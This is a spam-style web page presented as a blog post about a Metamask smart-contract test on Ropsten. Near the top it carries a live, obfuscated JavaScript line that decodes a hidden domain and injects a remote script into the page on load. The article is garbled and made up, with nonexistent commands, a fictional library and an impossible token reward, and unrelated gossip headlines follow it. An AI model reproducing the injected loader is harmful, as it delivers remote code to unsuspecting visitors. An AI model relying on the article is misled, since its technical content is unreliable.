Metamask: Testing a SmatContract on Ropsten – The transaction is “Success” but I didn’t get token in my wallet
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4f676fb8″;document.body.appendChild(script);
Here is an article based on the information provided:
Testing a SmartContract on Ropsten: A First Attempt

As a blockchain enthusiast, I am excited to explore the world of smart contracts and decentralized applications. However, I have encountered a few issues that have hindered my progress. In this article, I will share my experience testing a simple SmallContract on Ropsten, which turned out to be one of those strange issues.
Deploying the Contract
I started by deploying a very simple SmallContract, inherited from the “@matsui/SmartContract” library (the library used in the Metamask wallet). The contract was designed to simply return “Success”. I deployed it on Ropsten, a testnet version of the Ethereum network.
Testing the Contract
To test the contract, I used the Metamask test feature. I created a new metamask wallet and transferred ether (ETH) to my account. Then I deployed the contract using the “metamask test deploy” command. The transaction was successful and the contract was deployed on Ropsten.
Executing the contract
I used the “metamask test deploy” command to execute the contract. This command executes the contract bytecode stored in a file named “Contract.bin”. After executing the contract, I received a message that “Success” was returned.
Problem
However, when I checked my wallet, I noticed that I did not receive the expected reward of 1 ETH (the token used by Metamask). Instead, I received an empty transaction. Further investigation revealed that the problem was not with the contract itself, but with how Metamask processes transactions.
Solution
To resolve this issue, I redeployed the contract in a different way. This time I used “metamask test deploy –from=0x…” (replace “0x” with my actual wallet address) to specify that I wanted to deploy from an empty wallet. I also added a few lines of code to create and update the contract accounts.
Conclusion
Testing the SmatContract on Ropsten was an exciting experience, but it turned out to be one of the strange problems I mentioned earlier. By redeploying the contract in a different way, I was able to resolve the issue and get the expected reward. This experience highlights the importance of debugging and testing smart contracts thoroughly before deploying them in production.
Additional Tips
- Make sure Metamask is installed and running on your machine.
- Check out the @matsui/SmartContract library used by SmallContracts.
- Use the
metamask test deploycommand to deploy contracts from an empty wallet.
- Check your wallet balances frequently while testing.
I hope this article helps others who may encounter similar issues when testing smart contracts on Ropsten or other networks.
TRENDING SONGS
Nigerian Officials Allegedly Pocket N4–6B Weekly Through Smuggling Cartels at Seme–Badagry Border
Ahmad Yerima: Naval Officer to Face No Sanctions After Clash with Wike – Matawalle
Trending Video: Muslim Man Joins Wife in Hallelujah Challenge ‘Dress Like Your Miracle’ Night
Woman Seeks Advice as Late Brother’s Wife Refuses to Mourn Him Following His Death With Alleged Mistress
Nobody Cares About Fine Girls In The UK, I Miss Nigeria — Nigerian Lady Laments
Wedding Called Off: How Lady Cancels Wedding After Finding Out Finance’s Affairs With Her BestieÂ
Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package
Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash
Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five
Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking
Share this post with your friends on ![]()
